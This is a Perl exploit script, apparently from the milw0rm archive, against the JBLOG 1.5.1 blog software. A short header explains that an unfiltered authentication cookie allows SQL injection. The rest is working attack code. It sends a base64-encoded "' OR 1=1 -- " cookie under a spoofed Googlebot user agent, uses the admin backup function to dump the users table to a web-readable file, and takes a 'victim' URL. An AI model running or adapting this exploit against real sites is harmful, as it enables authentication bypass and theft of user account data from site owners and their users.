#!/usr/bin/perl
=about
VENDOR
JBLOG 1.5.1
(maybe earlier versions vulnerable too)
http://www.lisijie.org
AUTHOR
discovered & written by Ams
ax330d [doggy] gmail [dot] com
http://www.0x416d73.name/
VULNERABILITY DESCRIPTION
Both 'index.php' and 'admin.php' includes file 'common.php' which checks
for user permission on line 81 via function 'check_user()'.
This function is defined in file 'include/func_user.php'.
There is another one function - 'get_cookie()' which gets cookie values.
So, in cookies we put our evil string and further actions should be clear.
Why we don't filter COOKIEs ?
EXPLOIT WORK
This exploit uses SQL-injection to create dump of users table.
Actually, we are possible to do all administrator actions.
REQUIREMENTS
1. You need to know prefix, by default it is 'jblog_'.
But there is no problem to find it out.
2. Rights to write to 'cache/' folder.
=cut
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use MIME::Base64;
use Getopt::Long;
Banner();
$| = 1;
my $expl_url;
my $prefix = 'jblog_';
my $proxy = '';
GetOptions(
'u=s' => \$expl_url,
'pre=s' => \$prefix,
'p=s' => \$proxy,
) or Usage();
my $spider = LWP::UserAgent->new;
$spider->agent('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
$spider->default_header( 'Cookie' => $prefix . 'authkey=' . encode_base64( "1\t' OR 1=1 -- " ) );
$spider->proxy(['http'], "http://$proxy/") if $proxy ne '';
$spider->timeout( 30 );
Exploit( $expl_url);
sub Exploit {
$_ = shift || Usage();
print "\n\tExploiting:\t $_";
my ($prot , $host, $path, )
= m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};
$prot ||= 'http';
my $url = "$prot://$host$path";
my $defact = 'admin.php?ac=data&do=bakout&dosubmit=yes&sizelimit=2048';
# First request to prepare
my $req = GET "$url/$defact&baktables%5B%5D=${prefix}user";
my $res = $spider->request( $req );
my ($dir, $file) = $res->content =~ /yes&bakdir=(.*?)&(?:.*?)&filepre=(.*?)'/;
# Second request to dump table
$req = GET "$url/$defact&bakdir=$dir&step=1&baktablestr=${prefix}user&tableid=0&start=0&filepre=$file";
$res = $spider->request( $req );
# Finally checking if sql backup exists
$req = HEAD "$url/cache/backup/$dir/${file}_1.sql";
$res = $spider->request( $req );
if ( $res->is_success ) {
print "\n\tLooks ok, check $prot://$host${path}cache/backup/$dir/${file}_1.sql\n";
} else {
printf(
"\n\tFailure, server response: %s\n\tAnyway, check: %s\n",
$res->status_line, "$prot://$host${path}cache/backup/$dir/${file}_1.sql");
}
}
sub Usage {
print <<USAGE;
Usage:
-u Set url of victim
optional:
-pre Prefix, default 'jblog_' is used if no one mentioned
-p Proxy, set as ip:port
Example:
$0 -u=http://site.com -pre=jblog_ -p=127.0.0.1:8080
USAGE
exit;
}
sub Banner {
print <<BANNER;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
JBLOG 1.5.1 Perl exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
BANNER
}
# milw0rm.com [2009-08-13]